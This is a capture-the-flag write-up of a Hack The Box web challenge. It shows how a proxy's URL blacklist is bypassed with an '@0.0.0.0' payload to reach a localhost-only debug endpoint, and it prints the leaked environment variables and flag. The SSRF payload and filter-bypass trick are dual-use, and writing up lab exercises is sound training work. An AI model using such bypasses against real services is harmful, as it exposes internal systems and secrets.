ProxyAsAService

Posted on Sat 28 December 2024 in HTB challenge

This is a writeup of the ProxyAsAService challenge which is a web challenge from Hack The Box.

Flag in environment variable

see Dockerfile

# Place flag in environ
ENV FLAG=HTB{f4k3_fl4g_f0r_t3st1ng}

ENV can be read with debug endpoint

see routes.py

@debug.route('/environment', methods=['GET'])
@is_from_localhost
def debug_environment():
    environment_info = {
        'Environment variables': dict(os.environ),
        'Request headers': dict(request.headers)
    }

    return jsonify(environment_info)

Prefix for debug endpoint

see app.py

app.register_blueprint(debug, url_prefix='/debug')

Service runs on port 1337

see run.py

app.run(host='0.0.0.0', port=1337)

Endpoint for environment

0.0.0.0:1337/debug/environment

Default endpoint

@proxy_api.route('/', methods=['GET', 'POST'])
def proxy():
    url = request.args.get('url')

    if not url:
        cat_meme_subreddits = [
            '/r/cats/',
            '/r/catpictures',
            '/r/catvideos/'
        ]

        random_subreddit = random.choice(cat_meme_subreddits)

        return redirect(url_for('.proxy', url=random_subreddit))

    target_url = f'http://{SITE_NAME}{url}'
    response, headers = proxy_req(target_url)

    return Response(response.content, response.status_code, headers.items())

Runs proxy_req with http://redit.comOUR_INPUT If OUR_INPUT starts with @ reddit.com is treated as username

proxy_req

def proxy_req(url):    
    method = request.method
    headers =  {
        key: value for key, value in request.headers if key.lower() in ['x-csrf-token', 'cookie', 'referer']
    }
    data = request.get_data()

    response = requests.request(
        method,
        url,
        headers=headers,
        data=data,
        verify=False
    )

    if not is_safe_url(url) or not is_safe_url(response.url):
        return abort(403)

    return response, headers

validated url and response.url against blacklist

RESTRICTED_URLS = ['localhost', '127.', '192.168.', '10.', '172.']

Can use 0.0.0.0

Try to access environment endpoint: http://localhost:1337/?url=@0.0.0.0:1337/debug/environment

And then against "real" server: http://83.136.254.158:51371/?url=@0.0.0.0:1337/debug/environment

{"Environment variables":{"FLAG":"HTB{fl4gs_4s_4_S3rv1c3}","GPG_KEY":"7169605F62C751356D054A26A821E680E5FA6305","HOME":"/root","HOSTNAME":"ng-154938-webproxyasaservicemp-i6eg9-6fd885847b-qhnwk","KUBERNETES_PORT":"tcp://10.128.0.1:443","KUBERNETES_PORT_443_TCP":"tcp://10.128.0.1:443","KUBERNETES_PORT_443_TCP_ADDR":"10.128.0.1","KUBERNETES_PORT_443_TCP_PORT":"443","KUBERNETES_PORT_443_TCP_PROTO":"tcp","KUBERNETES_SERVICE_HOST":"10.128.0.1","KUBERNETES_SERVICE_PORT":"443","KUBERNETES_SERVICE_PORT_HTTPS":"443","LANG":"C.UTF-8","PATH":"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PYTHONDONTWRITEBYTECODE":"1","PYTHON_GET_PIP_SHA256":"45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fe","PYTHON_GET_PIP_URL":"https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.py","PYTHON_PIP_VERSION":"23.2.1","PYTHON_VERSION":"3.12.0","SUPERVISOR_ENABLED":"1","SUPERVISOR_GROUP_NAME":"flask","SUPERVISOR_PROCESS_NAME":"flask","WERKZEUG_SERVER_FD":"3"},"Request headers":{"Accept":"*/*","Accept-Encoding":"gzip, deflate","Connection":"keep-alive","Cookie":"JSESSIONID=AD0009FF788D6E9135E2F61D0FA4B041","Host":"0.0.0.0:1337","User-Agent":"python-requests/2.31.0"}} 

web